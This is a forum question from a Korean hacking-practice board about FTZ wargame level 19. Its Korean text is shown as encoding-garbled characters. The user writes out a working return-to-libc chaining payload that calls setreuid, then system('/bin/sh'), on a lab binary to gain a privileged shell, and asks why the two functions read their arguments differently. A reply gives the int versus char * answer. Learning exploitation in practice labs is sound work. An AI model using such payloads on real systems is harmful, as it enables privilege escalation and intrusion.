½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   tjdalstjr938
   FTZ 19¹ø ¹®Á¦ °ü·Ã Áú¹®ÀÔ´Ï´Ù.

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1911 [º¹»ç]


RTL ChaningÀÌ ¾î¶² ¿ø¸®·Î ÀÌ·ç¾îÁö´Â°Í±îÁö´Â ÀÌÇØ¸¦ Çß½À´Ï´Ù.

Á¦°¡ °ø°Ý¿¡ ¼º°øÇÑ ÄÚµåÀÔ´Ï´Ù.
(python -c 'print "\x90"*44+"\xc0\x9c\x0f\x40"+"\x9d\x84\x04\x08"+"\x1c\x0c\x00\x00"+"\x1c\x0c\x00\x00"+"\x30\xf4\x05\x40"+"\x90"*4+"\x24\xad\x14\x40"';cat)|./attackme

"\x1c\x0c\x00\x00"+"\x1c\x0c\x00\x00" ÀÌ ºÎºÐÀÌ setreuid¸¦ 3100±ÇÇÑÀ¸·Î ¼³Á¤ÇÏ´Â ºÎºÐ , 0xc1c = 10Áø¼ö 3100
"\x24\xad\x14\x40" ÀÌ ºÎºÐÀÌ /bin/sh°¡ µé¾îÀÖ´Â ¸Þ¸ð¸® ÁÖ¼ÒÀÔ´Ï´Ù.

setreuid¿¡¼­´Â ÀÎÀÚ¸¦ ÁÖ¼Ò°ªÀ¸·Î ÀÐÁö ¾Ê°í 16Áø¼ö °ªÀ¸·Î ÀνÄÇÑ ¹Ý¸é¿¡ system ÇÔ¼öÀÇ /bin/sh ÀÎÀÚ´Â ¸Þ¸ð¸® ÁÖ¼Ò °ªÀ¸·Î ÀνÄÇß´Ù°í ÀÌÇØ¸¦  Çß½À´Ï´Ù.

´Ü¼øÈ÷ setreuid ÀÇ ÀÎÀÚ´Â 16Áø¼ö °ªÀ¸·Î Àаí systemÀÇ ÀÎÀÚ´Â ¸Þ¸ð¸® ÁÖ¼Ò·Î ÀÐÀ¸¶ó°í ÇÁ·Î±×·¡¹ÖÀÌ µÇ¾îÀ־ ±×·±°ÇÁö ¾Æ´Ï¸é ´Ù¸¥ ÀÌÀ¯°¡ À־ ÀÎÁö¸¦ ¸ð¸£°Ú½À´Ï´Ù.

  Hit : 2583     Date : 2018/01/04 04:20



    
±è´äº¯ setreuid ÀÎÀÚ´Â int·ù°í systemÇÔ¼ö ÀÎÀÚ´Â char *ÀÔ´Ï´Ù 2018/01/07  
tjdalstjr938 ¾Æ... µÇ°Ô ±âº»ÀûÀΰǵ¥ Á¦°¡ ±×»ý°¢À» ¸øÇ߳׿ä.. °¨»çÇÕ´Ï´Ù. 2018/01/07